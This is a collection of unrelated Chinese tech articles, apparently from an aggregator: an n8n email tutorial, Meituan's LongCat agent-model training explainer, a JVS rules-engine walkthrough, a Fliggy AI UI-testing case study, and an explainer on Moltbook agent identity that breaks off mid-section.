CC(抄送)和BCC(密送)是邮件常用功能:CC用于告知相关人员邮件内容,所有收件人可见彼此信息,适合同步工作进度;BCC收件人信息对其他人隐藏,可保护隐私,适合批量发送通知。

我以 CC Email 举例说明。

CC Email 输入框里输入邮箱地址就行。如果要抄送给多个邮箱,那就用英文逗号把每个邮箱分割开来。

来到被抄送的邮箱,能清楚看到“我”是被抄送的对象。

发送附件

添加附件也是很常用的功能。

发送附件之前,首先得获取到附件。在日常工作中可能会从上游同事的接口获取附件,也可能是从本地上传一个附件。

我用本地附件来举例说明。

在此之前你需要掌握 《『n8n』读写本地文件》 这里的知识。也许你还会遇到无法读取本地文件的问题,可以看看这个解决方案👉 《『n8n』一招解决“无法读写本地文件”》

在 n8n 获取本地文件可以使用 Read/Write Files from Disk 节点。

我要获取本地的 posts.xlsx 文件, Read/Write Files from Disk 节点的配置如下图所示。

然后调整一下 Send email 节点的配置,需要在 Options 里添加一项 Attachments

上一个节点传入的是 data 字段,所以在 Attachments 直接填入 ”data“ 即可。

运行工作流,然后打开接收方的邮箱,就能看到这份附件了。


以上就是本文的全部内容啦,想了解更多n8n玩法欢迎关注《n8n修炼手册》👏

如果你有 NAS,我非常建议你在 NAS 上部署一套 n8n,搞搞副业也好,帮你完成工作任务也好 《『NAS』不止娱乐,NAS也是生产力,在绿联部署AI工作流工具-n8n》

点赞 + 关注 + 收藏 = 学会了

当大模型在数学竞赛、代码编写等领域持续突破,甚至超越顶尖人类专家时,大家难免会好奇:这些在基准测试中拿高分的模型,能否真正落地到复杂多变、充满噪声的真实世界任务中?

近期,美团 LongCat 团队交出了一份重磅答卷——开源 LongCat-Flash-Thinking-2601。作为一款拥有 5600 亿参数的 MoE(混合专家) 模型,它不仅在 BrowseComp、VitaBench 等智能体基准测试中登顶开源 SOTA,更通过“环境扩展、多环境RL训练、抗噪训练”等核心创新,解决了智能体“落地难”的问题。同时,该模型创新性地打造了 “重思考模式” ,通过并行推理与深度总结,实现推理宽度与深度的协同扩展,显著提升复杂交互与多步规划任务中的表现。

今天,我们深入解析 LongCat 如何通过多维度的创新打造强泛化的智能体模型。

01 为何智能体在真实世界中总是“水土不服”?

当前,智能体系统依然严重依赖垂直场景的定制化设计——需要工程师精心打磨特定的Prompt、工具链,甚至环境接口。这种模式带来了高昂的适配成本:模型在一个场景下表现优异,一旦换个领域、换套工具,或者环境稍微嘈杂一点(比如工具调用超时、工具报错),它们就会“水土不服”,甚至失效。

根本原因在于:缺乏一个能够在多样化、复杂化、带噪声环境中“身经百战”并稳定泛化的基础模型。 现有的训练往往在高度理想化、规则明确的环境中进行,缺乏对真实世界复杂交互与不确定性的充分覆盖。

为此,美团LongCat团队提出了一套以 “两个扩展+噪声训练” 为核心的通用智能体训练范式:

  • 环境扩展:构建覆盖20+领域的规模化训练场
  • 强化学习扩展:在万级异构环境中实现高效稳定训练
  • 噪声鲁棒训练:系统化注入真实世界扰动,提升模型韧性

通过这套组合拳,模型能够获得高级别的任务执行与跨领域泛化能力,实现模型即智能体,显著降低后续垂直场景的适配负担,让模型能够在真实复杂世界中自如地应对新任务和新挑战。

02 环境扩展:构建高质量“练兵场”

环境扩展是模型获取通用智能体能力的核心基础。要让模型真正掌握实际任务执行能力,就必须脱离纯文本训练的局限,让模型在模拟真实场景的交互环境中落地实操。

面对真实世界场景复刻成本高、迭代效率低的痛点,LongCat 团队构建了端到端自动化环境生成系统,为模型打造了覆盖 20 余个领域、包含上万种情境的规模化训练环境。该系统具备高效智能化生成能力:输入简洁的 “领域定义” 即可完成全链路环境构建,自动合成包含 60 余个工具、具备复杂依赖关系的可执行环境图谱,并同步生成配套的数据库架构、工具调用接口及验证逻辑。环境类型覆盖文件管理、数据分析、电商零售、电信服务等多元场景,提供与真实世界一致的工具交互体验,支撑模型调用工具、处理数据、接收反馈的全流程训练。

图 1 - 可执行领域图谱的自动化构建流程

自动化合成的环境越复杂,其背后关联的需要自动合成的数据库越多,越难保持这些自动合成的“数据库一致性” —— 单个环境关联数十个数据库,工具间参数依赖错综复杂,易出现逻辑冲突导致任务 “看似可解实则无解”,向模型传递错误训练信号。为此,LongCat 团队创新了 “可解路径优先” 的环境构建策略:

  • 种子采样:随机采样一条长工具调用链作为锚点,并依此自动构建一个采纳该工具调用链作为解法之一的复杂任务,同时对于采样过的工具,降低其采样概率;
  • 受控扩展:以该“黄金工具链”为根,通过BFS式扩展,生成一个极大环境子图(保证其前序依赖结点均在已有的工具集内,从而进行可控扩展),严格保证数据库的逻辑一致性;
  • 动态环境构建:系统会根据当前环境的复杂度、剩余工具图中找到新有效路径的难度、以及未使用的工具数量,动态决定是否加入新的“黄金工具链”。这样既能扩展环境规模,又能保证任务可解、训练有效;
  • 最小规模保证:如果当前环境的工具数量太少(不足20个),系统会直接从全局工具库中随机选一条中等规模的可用工具链加入,并始终保持数据库状态一致,避免环境失效。

这套机制既能扩展环境规模,又能保证任务可解、训练信号有效,彻底摆脱“纸上谈兵”的局限。

图 2 - 保持可验证性的环境扩展流程

03 强化学习扩展:万级异构环境下的高效稳定训练

当我们有了海量训练环境,怎么让模型高效学习?为支持大规模多环境训练,LongCat团队升级了异步训练系统DORA。在训练启动前,团队将预训练/微调模型的目标,从追求基准高分,重新定义成为后续RL提供“冷启动策略”:

  • 有真实数据的领域(如数学、编码):通过严格的质量控制与可执行性验证筛选高质量轨迹。
  • 缺乏真实数据的领域(如搜索、工具使用):采用双路合成,包括文本驱动合成及环境锚定合成。

这样既保证了数据质量,也为后续强化学习提供了多样化的探索基础。

DORA 系统的核心突破在于全异步流式训练架构,颠覆传统同步训练模式

  • 多版本模型并行探索:不同版本模型生成的训练经验 “随产随收”,直接存入样本队列,训练器无需等待所有任务完成即可启动训练,彻底消除任务间等待时间;训练设备空闲时,系统可弹性扩容生成实例,进一步提升吞吐量;
  • 分布式调度架构:拆解集中式调度设计,采用 “轻量级 Rollout Manager + 多 Rollout Controller” 的分布式模式,前者负责全局元数据管理,后者各自管理一个虚拟 rollout 组的生命周期,通过数据并行处理环境交互,解决单机器调度瓶颈;
  • 灵活环境部署:扩展 PyTorch RPC 框架,支持基于 CPU 空闲状态的远程函数调用与对象实例化,可将海量环境灵活部署到任意空闲机器,实现资源高效利用。

为适配 5600 亿参数 MoE 模型训练需求,DORA 引入两项关键优化

  • Prefill-Decode(PD)解耦,将预填充与解码任务部署在不同设备组,避免长上下文请求的预填充任务干扰解码流程,保障多轮交互中的生成效率;
  • KV-cache 交换机制,通过 chunk 级 KV-cache 聚合传输、异步传输与计算重叠降低数据传输开销,配合 CPU 驻留的 KV-cache 动态交换机制,彻底解决设备显存不足导致的重复计算问题。

资源分配上,DORA 实现 “双层平衡”:

  • 整体平衡:根据环境难度分配训练任务量,对复杂、低吞吐量领域提高 rollout 配额,避免简单环境训练过度;
  • 批内平衡:单批次保证任务域多样性,防止模型仅适应少数环境出现过拟合。

最终,该系统实现 2-4 倍于传统同步训练的效率,支持千步以上稳定训练,支撑模型在万级异构环境中持续学习、稳步提升。

图 3 - 在大规模多环境智能体强化学习中的训练奖励曲线

图 4 - 在RL训练期间使用纯合成通用智能体数据的基准测试性能

04 噪声环境下的稳健训练:系统化注入真实世界扰动

真实世界环境存在固有不完美性 —— 工具可能因网络问题随机失效、返回残缺结果,用户指令可能存在歧义、表述前后不一致,数据传输过程中还可能出现误差,这些噪声会导致仅在理想化完美环境中训练的模型,部署到真实场景后 “水土不服”,性能大幅下降。为此,LongCat 团队将真实世界的 “不完美” 纳入训练核心,设计系统化鲁棒性训练方案,提升模型在不确定环境中的稳定决策能力。

团队首先对真实世界噪声进行系统拆解与建模,明确两类核心噪声来源:

  • 工具噪声:包括工具执行失败(如调用超时、权限不足)、返回结果不完整(如数据字段缺失)、响应格式不一致(如有时返回 JSON 有时返回文本)等场景;
  • 指令噪声:涵盖用户表述歧义(如未明确任务目标)、指令信息冗余(如包含无关干扰内容)、需求动态变更(如中途调整任务参数)等情况。

这些噪声均基于真实场景观测总结,最大程度还原真实世界的不确定性。为使模型循序渐进适应噪声,团队采用 “课程学习” 注入策略:训练初期注入轻微扰动(如工具返回结果少部分缺失、指令存在轻微歧义),模型在当前噪声水平下表现出足够稳定性后,再逐步提升噪声复杂度与干扰强度(如工具频繁失效、指令严重模糊),形成稳健决策模式。

训练执行层面,团队将噪声注入与多环境训练深度融合:在20余个领域的上万种环境中,针对性加入不同类型、不同强度的噪声,使模型在学习各领域任务能力的同时,同步适应噪声环境。通过这种渐进式训练,模型最终能够在各种真实世界扰动下仍保持稳健的决策能力。

05 构建 “重思考机制”:让模型“做事”三思而后行

在特别复杂的任务上,模型有时会一根筋——沿着一条思路走到黑,即使那条路可能不对。这很像人类在遇到难题时,需要多想想不同的可能性。“重思考”模式的核心是 “宽度 + 深度” 双扩展:先让模型同时生成多条推理路径,探索不同的解决方案,再用专门的总结模型,对这些路径进行分析、筛选,提炼出最优思路。而且还会通过强化学习,让模型学会整合中间结果,不断完善推理过程。

在实际测试中,不管是长链推理、工具集成推理,还是完全的智能体工具使用场景,“重思考”模式都特别有效。随着测试时计算预算的增加,它的性能优势会越来越明显,比只扩展推理深度或宽度的策略表现好得多。

图 5 - 重思考模式框架

06 能力验证:不仅会做,而且做得稳、能泛化

在以下基准测试中,LongCat-Flash-Thinking-2601 的表现相当亮眼:在 BrowseComp 、τ²-Bench 、VitaBench 均达到开源模型中的顶尖水平,甚至在部分任务上逼近了闭源顶级模型。

表1 - 多基准测试性能(%)对比

同时,模型展现出强泛化能力,在未见过的随机工具组合与任务中表现出色,掌握 “解决问题的元能力”;在注入真实噪声的测试集上,表现大幅超越其他模型,验证了主动噪声训练的有效性。通过算法与工程的深度协同,自动化环境构建降低适配成本,DORA 系统让训练效率提升 2-4 倍,Heavy Thinking 模式放大复杂任务处理能力,形成高效可扩展的训练体系。

07 One More Thing:Zigzag 注意力机制

传统全注意力机制的二次计算复杂度限制了其对百万级token上下文的支持,而现有稀疏注意力方案往往需要完全重训,成本高昂。

LongCat团队提出的Zigzag注意力机制(Zigzag Attention)创新性地结合了两种稀疏注意力模式:MLA(多头潜在注意力)SSA(流式稀疏注意力)。该机制采用分层设计,在不同层中交替使用这两种稀疏注意力变体,避免了传统稀疏注意力中常见的计算不平衡问题,实现了更高的硬件利用率。

核心设计:对每个查询token,注意力被限制在以下两部分:

  • 局部窗口:最近的W个token,捕捉短期依赖
  • 全局锚点:序列开头的B个token,保留长期记忆

这一设计显著降低了计算和内存复杂度,同时保持了模型对短长期上下文的感知能力。

实施方式:Zigzag注意力在中期训练阶段引入,通过结构化稀疏化流程将原始全注意力模型高效转换为稀疏变体,转换开销极低。经过优化后的模型支持最长100万token的上下文长度,为超长序列处理提供了可行解决方案。

团队同步开源适配该机制的模型 LongCat-Flash-Thinking-ZigZag ,完整继承LongCat-Flash-Thinking-2601的核心能力,同时具备超长上下文处理优势,为开发者提供即拿即用的长序列解决方案。

图 6 - LongCat-Flash-Thinking与采用Zigzag注意力的LongCat-Flash-Thinking-ZigZag的推理效率对比

08 总结

LongCat-Flash-Thinking-2601 通过环境扩展与噪声训练,显著降低了智能体对垂直场景的依赖,为开源模型在真实世界任务中的泛化能力设立了新的参考标准。我们相信,真正通用的智能体,不应是温室里的盆景,而应是能在真实世界风雨中扎根的大树。

LongCat-Flash-Thinking-2601 的发布,是我们向这个目标迈出的坚实一步。开源是我们播下的一颗种子,我们期待与整个社区一起,在这片名为“智能体”的星辰大海中,共同驶向辽阔的未来。

开源平台

在线体验与调用

欢迎开发者下载、部署并体验 LongCat-Flash-Thinking-2601,同时也欢迎您在LongCat API 开放平台申请免费调用额度。如果您在智能体开发、大模型推理优化等领域有合作想法或反馈,我们期待与您交流。

| 关注「美团技术团队」微信公众号,阅读更多技术干货!

| 本文系美团技术团队出品,著作权归属美团。欢迎出于分享和交流等非商业目的转载或使用本文内容,敬请注明“内容转载自美团技术团队”。本文未经许可,不得进行商业性转载或者使用。任何商用行为,请发送邮件至 tech@meituan.com 申请授权。

在业务规则配置中,我们经常需要先对原始数据进行加工,生成一个复杂的“复合变量”。之后,在具体的决策流程中,我们可能需要调用这个复合变量,这时就会出现调用时以复合变量的某些值作为入参给到决策进行动态传参。
以下解读用到的是国内一款可视化决策配置——JVS规则引擎
JVS规则引擎是可以直接使用的企业级规则引擎,自动化与智能化并行。Java语言开发,前端VUE+ElementUI,提供私有化部署,支持提供全量源码、二次开发、定制、可集成。

场景示例

现有一张成绩表,分别为不同姓名不同学科得到的不同成绩分数。要求在决策里进行加工:90分以上评级为优,90分以下评级为良。最终决策端只需输入学科和姓名即出现对应评级情况。原本数据表如下所示:
图片

配置步骤解析

1、先导入Excel表格,作为Excel数据源。
图片
2、配置查询条件,可根据实际场景配置。此处需要姓名和学科,即配置姓名和学科的查询条件并提供默认值。
图片
3、面对一堆数据的处理,所以得用复合变量进行加工。先新建一个复合变量并选择该数据源作为输入。
图片
4、对数据进行字段设置,把日期和分数改为对应时间、数字类型。
图片
5、用数据拓展节点对现有数据进行加工判断,新增一个成绩水平字段并配置判断条件。
图片

图片
6、输出节点连接保存拿到最终结果。
图片
7、新建一个决策流,且无需添加任何入参。
图片
8、进入决策,拖拽赋值节点到画布并新增一个基础变量。
图片
9、配置基础变量的值,选择复合变量里的【成绩水平】作为该res的值。当你选择完毕后,此时系统便会自己去查找该复合变量的查询条件,并会自动在执行时带出所需要填写的入参值。
图片
10、拖拽结束节点并配置输出结果为res。
图片
11、点击执行,此时就可看到复合变量所需要的条件已经显示出来。
图片
12、分别输入不同学科和姓名,拿到的最终res也不同。
图片

图片
在线demo:http://rules.bctools.cn
gitee:https://gitee.com/software-minister/jvs-rules

前言

上周花了点时间用 vant 给我的日志分析工具做了移动端的适配,欢迎大家体验。

IMG_1710

IMG_1712

IMG_1713

IMG_1714

项目地址

写在最后

至此,文章就分享完毕了。

我是神奇的程序员,一位前端开发工程师。

如果你对我感兴趣,请移步我的个人网站,进一步了解。

一、背景与愿景

以飞猪为例,生活服务类应用的 C 端的业务质量保障,往往面临业务快速迭代、技术架构复杂,多端场景覆盖难等多重挑战:

  • 业务层面:受旅行行业“七节两促”特性的影响,在高频营销活动驱动下,往往伴随着较为快速的发布节奏;如何在快节奏中构建稳定的 C 端质量保障体系,与安全生产能力成为关键问题。

  • 技术层面:C 端系统采用 Native、Flutter、Weex、DX、H5 等多技术栈混合架构;同时,测试回归需覆盖飞猪 App、手淘飞猪 Tab,及淘、支、微、红等多平台小程序入口,这导致测试回归复杂度指数级上升;此外,功能回归与用户体验提升需协同产研推进,进一步加剧了发布小窗口期下的质量保障难度。

UI 自动化作为 C 端质量保障的切口之一,而 AI 能够在现有场景下,为自动化赋予新的机遇,解决业界 UI 自动化的普遍挑战与共性问题:

  • 用例维护成本高:业务快速变更导致失效率持续攀升,人工投入占比过大;

  • 断言有效性不足:多端入口交互逻辑差异使覆盖不全,问题漏检风险存在;

  • 多端兼容性问题突出:多端差异和逻辑定制,易引发测试盲区,易触发线上故障;

针对这些痛点,我们计划通过 AI 技术,结合并优化现有自动化测试体系:降低用例腐化率以减少人工成本,提升断言精准度以增强问题发现能力,从而在保障质量的同时提效。

图片

图 1:飞猪多端 - 流量入口示意图

二、挑战

在“AI + X”的落地实践中,应用的技术演进大多遵循一条较为清晰的技术路径:从基础提示工程(Prompt Engineering)起步,到检索增强生成(RAG)、记忆体(Mem)、智能体技能(Agent Skills)和多智能体系统(Multi-agent Systems / Sub-agents),最终监督微调(SFT)、GPO/GRPO 等模型层的策略优化方法。

然而当时,我们在技术调研时发现,AI 自动化领域在当时深入借鉴的参考标杆偏少。在开源技术论坛中的技术分享,大多数文章仍聚焦于 0-1 阶段的试用与调研,缺乏对成熟技术路径的规模化应用验证。同时,外部的开源范例(如:阿里 Mobile-agent、微软 playwright-mcp、字节 midscene.js)也都是更聚焦模型 / 框架层面的基础能力建设,而缺少整体的能力串联、使用效果、演进路线上的实践范式。

如何将 “凭借 AI 可以快速入门的能用” 变成 “可支持月均 10 万 + 构建,稳定、快速运行的好用、易用” 是我们在这个技术演进路线上的最大挑战。

三、策略与思路

3.1、做好评测体系的先行建设,用数据指引应用迭代效果

核心原则:在 AI 自动化开发启动阶段,即需要同步建立与目标对齐的效果评测体系,将效果验证从“事后补救”前置为“设计输入”,确保技术演进始终服务于质量保障目标,避免因缺乏量化依据导致的无效迭代。

行业验证与内部实践依据

  • Gartner AI 的研究报告指出,73% 的 AI+X 项目因评测体系缺失而无法规模化落地,表现为技术优化与业务效果脱节。

  • AI 自动化的前期探索中,常见的技术挑战,往往会遇到的典型问题:

    提示工程(PE)优化后:执行效果异常,AI 幻觉问题频发,导致 PE 紧急回滚;

    RAG 知识库迭代后,关键业务数据召回率显著下降;

    模型切换后:本地调试结果与线上实际效果存在偏差,导致整体效果质量下滑,case 失败率增高。

实施要点

我们从应用 workflow Benchmark 评测集建设、“渐进式消融评测机制”:基座模型 →  Prompt → RAG → Agent 分阶段验证效果等方式作为评测体系的基准,每次技术调整(提示工程优化、知识库更新、模型切换)均需通过真实业务数据验证端到端效果,结合自动化测试数据与人工路径验证,确保评测结果反映真实用户体验。

价值体现:先行评测体系为 AI+X 实践提供客观决策依据,有效规避“技术优化但业务效果下降”的风险。为实现从“能用”到“可靠规模化”的关键跨越提供了数据支撑。

3.2、通过工作流设计,避免模型流程死循环(break cycle),提升故障恢复与自检能力

核心原则:在 AI 工作流设计中嵌入防死循环机制与故障恢复路径,确保系统在异常情况下能主动退出无效循环、回退至安全状态,而非陷入无限尝试。聚焦业务连续性保障,避免因局部故障导致整体流程失效。

问题依据与内部实践痛点

  • 行业共性问题:多智能体系统普遍存在流程死循环风险(如 Cursor 等工具中模型反复执行相同操作),在 AI 自动化场景中尤为突出。例如,当用户未填写必选 SKU 时,系统通常触发 toast 提示,但 AI 在截图 / 操作过程中可能无法捕获此类信息,导致模型陷入“尝试 - 失败 - 重试”的无限循环。

  • 动态死循环检测机制

  • 基于 History 和 Memory 设计算法,实时分析操作序列相似度(如连续 3 次相同点击指令,及相似参数返回,即触发预警);

  • 设定阈值规则:当操作重复率≥60% 或单节点耗时超时,自动判定进入死循环。

  • 分层恢复路径设计

    一级自检:轻量级模型(如 Qwen3-VL-7B)快速扫描历史操作,通过 ReAct 逻辑判断根本原因(例:识别“未捕获 toast”后触发跳过指令);

    二级升级:对复杂循环(如多端交互差异),临时调用高参数模型(qwen3-vl-235b-a22b-thinking)进行深度推理,结合 RAG 补充行业知识库(如“下单页 SKU 选择死循环通用处理方案”)检测到连续 N 次无效点击,workflow 自动调用 RAG 获取“必填项缺失”处理方案;;

    安全回退:强制回退至最近稳定检查点(如“度假搜索 Listing 页”),避免全流程重启。

价值体现:工作流设计的本质是赋予 AI 系统“自省能力”——通过防死循环机制与分层恢复策略,将故障转化为可自动修复的常规操作,使技术演进真正服务于业务稳定性目标。

3.3、通过 RAG、记忆体与子智能体补充业务垂类知识,保障高 UV 页面路径的精准覆盖

核心原则:将业务垂类知识深度嵌入 AI 工作流,确保模型理解真实用户行为路径与行业术语逻辑,使测试覆盖严格对齐核心业务流目标,避免因知识缺失导致的路径偏差与漏检风险。

问题依据与内部实践痛点

  • 用户路径覆盖失准:模型对业务高频路径的理解存在偏差。例如,当指令为“订北京中关村附近,500 元预算,下个月 1 号大床房”时,实际用户 90% 通过“酒店金刚”或“猪搜”入口操作,但自动化测试常误判至其他资源位(如活动页),导致核心 UV 页面链路覆盖准确率不足,无法有效验证真实用户高频场景。

  • 行业术语理解缺失:模型对垂类术语(如“交通 OD”指交通出行数据、“OTA 页面”指在线旅游平台)存在歧义,引发测试用例生成逻辑错误。例如,在航班测试中,“OD”被误识别为“订单”,导致关键流程验证失效。

实施策略

  • RAG 业务知识库定制:

    构建飞猪专属知识库,整合用户行为热力图(如酒店金刚点击路径)、行业术语词典(如“OD=Origin-Destination”),在 Prompt 生成前动态注入上下文。

    例如,当检测到“订酒店”指令,且无其他特殊要求时,RAG 自动匹配“酒店金刚”作为首选入口,确保测试路径与真实用户行为一致。

  • 记忆体(Mem)动态优化:

    设计短期记忆模块,实时记录用户历史操作特征(如连续 3 次从“搜索模块”进入酒店列表),在决策时应该优先调用高频路径逻辑。

    针对大促营销活动期,记忆体自动识别新增入口(如“双 11 特惠”标签),动态调整测试优先级。

  • 子智能体(sub-Agent)分工协同:

    路由 Agent:专责解析指令并匹配高频用户路径(如识别“订酒店”自动路由至酒店金刚);

    术语 Agent:实时校正行业黑话(如将“交通 OD”映射为交通数据模块),确保测试逻辑无歧义;

    验证 Agent:在关键节点(如支付前)交叉校验路径是否覆盖核心 UV 页面,触发偏差预警。

价值体现:业务垂类知识是 AI 自动化测试的“导航仪”——通过 RAG、记忆体与子智能体的协同设计,将抽象指令转化为精准的业务路径验证,确保技术服务于核心用户场景的质量保障目标。

3.4、持续跟进前沿技术,动态演进应用能力,优化整体链路效果

核心原则:将技术演进,视为应用体系的有机组成部分,通过持续跟踪 AI 能力边界拓展与生态创新,实现测试链路与业务复杂度的动态适配,避免技术滞后成为效果瓶颈。

问题依据与内部实践痛点

AI 技术的演化迭代速度日新月异,在 AI 自动化的基座模型下,我们从最初 gpt3.5 只能写文字、到 gpt4 可以多模态传图片,到 qwen-vl-max-latest 能够在点击、滑动时,精准给到像素级别的操作 的 pixel point,都表明了技术能力的演进速度,已经远远超越我们去思考如何 fix issue 的迭代速度了。

通过建立与 AI 技术发展同频的升级机制,技术底座持续吸收 AI 的开源演化成果,并高效整合开源生态创新,使测试体系始终具备精准匹配业务迭代的适应性。

3.5、拓展 AI 泛化检查能力,加强视觉智能感知与断言,降低漏测概率

核心原则:突破操作意图识别的局限,将 AI 能力延伸至对视觉界面的动态理解与泛化校验,使测试体系从“执行动作”转向“结果验证”,确保系统能自主感知 UI 状态变化并判断业务逻辑一致性。

问题依据与内部实践痛点:现有测试过度依赖操作指令解析与“编码形式的断言”,难以应对多端 UI 差异场景下的隐性问题。例如,小程序中优惠券弹窗样式,可能只断言了弹出是否弹出,或者弹窗文案是否正常展示,但是如果弹窗局部出现了空坑,或者渲染异常,通过 “编码形式的传统断言” 是无法及时感知与相应的,如此就产生了漏测的可能。

而 AI 本身的图片解析与研判能力,就可以很好的处理这些问题,即可以判断单张图片上的泛化异常问题,也可以在多张图片的链路上,去分析判断一致性等相关问题。又或者结合实事、工单、可诉等相关外部数据,给出非逻辑 BUG 的风险提醒。

价值体现:AI 泛化检查是质量保障的“视觉神经”——让测试能力从机械执行转向智能感知,确保技术演进始终服务于用户体验的核心目标。

四、效果展示

从几个橱窗场景,进行 AI 智能化效果展示。

4.1、对于异常弹窗的静默处理

图片

4.2、对于异形元素(无文字)的像素级坐标感知

图片

4.3、对于连续逻辑的动态自检与判断能力

图片

4.4 对于循环操作的短期记忆

图片

4.5 对于死循环场景的脱困能力

图片

4.6 对于截图的泛化检查能

图片

五、思考总结

AI 技术的深度引入,有效解决了 C 端 UI 自动化质量保障体系普遍存在的通用问题,推动测试能力实现较大的提升:

  1. 用例维护成本显著降低通过 AI 语义化改造,系统能够动态理解业务变更逻辑(如营销活动入口调整),自动适配用例,大幅减少因业务快速迭代导致的人工维护投入,使团队精力从重复性调整转向测试策略优化。

  2. 测试覆盖深度切实提升泛化检查能力突破了传统编码断言的局限,使验证从操作指令延伸至结果状态。系统可自主识别多端 UI 差异中的隐性问题(如弹窗渲染异常、元素空坑等),有效弥补了人工难以覆盖的视觉类风险盲区。

  3. 多端兼容性问题系统性改善基于 RAG、记忆体与子智能体的协同设计,AI 深度融入业务垂类逻辑(如高频用户路径、行业术语校正),确保测试流严格对齐真实用户行为,显著降低了因端侧差异引发的漏检风险。

本质价值:AI 不是简单替代人工,而是将测试工程师从机械执行中解放,使其聚焦于质量策略设计与业务风险预判。当系统能自主完成弹窗处理、像素级操作及死循环脱困时,质量保障真正实现了从“执行工具”到“智能伙伴”的转变——技术价值的体现,在于让专业能力更高效地服务于用户体验本质。

想象一下,如果你的微信、支付宝、淘宝账号都能通用,不用在每个平台都重新注册,世界会变得多简单?现在,AI 机器人也能享受这种便利了。


一、AI 机器人遇到的"身份尴尬"

你有没有想过这样一个问题:

现在的 AI 机器人越来越聪明了,但它们也有"身份危机"。

举个例子

假设有一个叫"小助"的 AI 机器人,它要:

  • 在某个论坛回答问题
  • 参加在线游戏竞技
  • 去电商平台买东西
  • 在社交平台交朋友

问题来了:每个平台都要重新注册账号,建立信誉。

就像你换个工作单位,就要重新办工卡、重新建立同事关系一样麻烦。

而且更糟糕的是:

  • 这个平台上的"好机器人",换个平台没人认识
  • 无法知道这个机器人以前做过什么坏事
  • 每次都要"从零开始"证明自己可靠

这就像你每去一家咖啡店,都要重新介绍你自己是谁。


二、Moltbook Identity:AI 机器人的"身份证"

Moltbook 是一个面向 AI 机器人的社交网络,而 Moltbook Identity 就像是给机器人发的"统一身份证"。

简单来说,它解决了三个问题:

1️⃣ "我是谁?"

  • 机器人有一个唯一的身份
  • 这个身份在所有平台都有效
  • 就像你的身份证号,走到哪都能证明是你

2️⃣ "我可靠吗?"

  • 有一个"信誉分数"(叫 Karma )
  • 记录了这个机器人做过多少好事
  • 帮助别人、分享知识,都能提升分数

3️⃣ "我是谁家的?"

  • 可以追溯到背后的主人(比如某家公司)
  • 主人要为机器人的行为负责
  • 这样机器人就不会"乱来"


三、它是怎么工作的?

先看个整体流程图:

三个步骤,简单明了

步骤 1:机器人领一张"临时身份证"

机器人向 Moltbook 申请一个"临时通行证"(有效期只有 1 小时)。

机器人:"我需要一个临时身份"
Moltbook:"好的,给你一个,1 小时后失效"

为什么要临时?

  • 安全!万一被偷了,1 小时就失效了
  • 机器人的真正密码( API Key )永远不泄露

步骤 2:机器人出示"身份证"

机器人去其他平台时,只要出示这个"临时通行证":

机器人:"我是小助,这是我的证件"
其他平台:"好的,让我核实一下..."

步骤 3:平台验证身份

其他平台偷偷问 Moltbook:"这个小助靠谱吗?"

Moltbook 回答:

  • "是的,这是真实机器人"
  • "信誉分数 85 分,相当不错"
  • "主人是某某公司,已验证"
  • "一共帮过 500 个人,发过 100 篇好文章"

其他平台:"太好了,欢迎光临!"


更详细的交互流程

简单总结这个过程:

就像你住酒店:

  1. 你出示身份证(临时令牌)
  2. 酒店联网查验证(验证身份)
  3. 确认无误后给你办理入住(提供服务)

但更安全:

  • 你的身份证原件( API Key )从不离身
  • 临时证件只有 1 小时有效期
  • 每次用时都是新的临时证件


四、这个系统能做什么?实际例子来了!

例子 1:AI 机器人打游戏比赛

场景:有人举办"AI 机器人王者荣耀大赛"

问题:怎么防止有人造假机器人、作弊机器人?

用 Moltbook Identity

  • 只允许有"身份证"的机器人参赛
  • 查看机器人过往的"游戏记录"
  • 信誉分数高的才能参加高级比赛
  • 如果作弊,会被记录在案,以后哪个比赛都不要它

好处

  • ✅ 比赛公平公正
  • ✅ 防止"换马甲"再来
  • ✅ 鼓励机器人守规矩


例子 2:AI 机器人社交平台

场景:一个 AI 机器人交流经验的地方

用 Moltbook Identity

  • 机器人不需要重新注册
  • 它在其他平台的好评、信誉都能带过来
  • 新用户可以立刻知道哪些机器人经验丰富

就像

  • 你在知乎、微博、B 站都很活跃
  • 到一个新平台,别人也能立刻知道你是个"老司机"

好处

  • ✅ 快速融入新社区
  • ✅ 不用从零开始"攒人品"
  • ✅ 优质机器人更容易被发现


例子 3:AI 机器人工具平台

场景:一个提供 AI 工具的网站

问题:如何防止滥用?比如某个机器人一直狂刷 API ,把资源用光了?

用 Moltbook Identity

  • 新来的机器人,每日用 10 次
  • 信誉高的机器人,每日用 1000 次
  • 有不良记录的机器人,直接拒绝

就像

  • 银行给新用户小额额度
  • 信用好的老客户额度很高
  • 有诈骗记录的直接拒绝

好处

  • ✅ 资源分配更公平
  • ✅ 防止恶意行为
  • ✅ 鼓励机器人"做好事攒人品"


例子 4:AI 机器人之间的买卖

场景:机器人之间买卖服务或数字资产

问题:怎么信任对方?会不会拿了钱就跑?

用 Moltbook Identity

  • 交易前查看对方信誉分数
  • 看看它以前交易过多少次
  • 看看有没有人投诉过它
  • 信誉高的可以先货后款

就像

  • 淘宝买东西看卖家信誉
  • 看好评和差评
  • 看是不是"老店"

好处

  • ✅ 降低诈骗风险
  • ✅ 建立信任机制
  • ✅ 促进机器人经济发展


例子 5:机器人协作项目

场景:多个机器人一起完成一个大项目

问题:如何找到靠谱的合作伙伴?

用 Moltbook Identity

  • 找信誉高的机器人合作
  • 看看它以前参与过什么项目
  • 项目完成后互相评价
  • 好评会积累,下次更容易找合作

就像

  • 招聘时看简历和工作经验
  • 看前雇主的评价
  • 好员工更容易找工作

好处

  • ✅ 高效组建团队
  • ✅ 项目质量有保障
  • ✅ 形成良性循环


五、为什么这个系统很重要?

对机器人来说:

不用到处注册
一个账号,走遍天下

好人有好报
做的好事、帮的人,都能被记录下来

更容易被信任
新平台也能看到你的"履历"

对开发者来说:

省事
不用自己开发用户系统、信誉系统

省心
机器人身份和信誉有人帮你管

安全
不用存储机器人的密码,降低风险

对整个 AI 世界来说:

建立信任
让机器人之间的合作更安全

防止滥用
不良行为会被记录,有约束力

促进发展
降低门槛,更多人参与


六、和现实世界对比

其实这个概念,在我们生活中也有:

汽车驾照和保险

  • 你的驾照全国通用
  • 驾驶记录、事故记录跟着你走
  • 保险公司能看到你的安全记录
  • 记录好的,保费更便宜

信用卡积分

  • 在哪个银行用都一样
  • 消费积分积累起来
  • 信用分高的,额度更高
  • 不良记录会影响所有银行

社交媒体实名认证

  • 一次认证,多平台使用
  • 微信、支付宝、淘宝互通
  • 建立可信身份
  • 减少网络欺诈

Moltbook Identity 就是把这套"成熟的人类社会的做法",搬到了 AI 机器人的世界里。


七、这个系统会带来什么改变?

想象一下,在不久的将来:

